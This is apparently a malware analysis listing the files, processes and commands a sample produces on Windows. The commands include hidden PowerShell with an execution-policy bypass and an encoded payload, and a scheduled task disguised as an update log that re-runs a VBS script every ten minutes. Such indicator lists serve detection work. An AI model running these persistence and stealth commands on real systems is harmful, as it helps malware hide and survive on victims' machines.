Technical Information
- <SYSTEM32>\tasks\update\updatesdiagnosticlog
- %APPDATA%\gavecoincore\llmq\update.vbs
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden -exec bypass -enc aQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABHAGEAdgBlAGMAbwBpAG4AQwBvAHIAZQBcAGwAbABtAHEAXAB1AHAAZABhAHQAZQA...' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -windowstyle hidden -exec bypass -enc aQBmACAAKABUAGUAcwB0AC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABHAGEAdgBlAGMAbwBpAG4AQwBvAHIAZQBcAGwAbABtAHEAXAB1AHAAZABhAHQAZQA...
- '<SYSTEM32>\schtasks.exe' /delete /tn DiagnosticChart /f
- '<SYSTEM32>\schtasks.exe' /create /sc minute /mo 10 /tn Update\UpdatesDiagnosticLog /tr %APPDATA%\GavecoinCore\llmq\update.vbs /f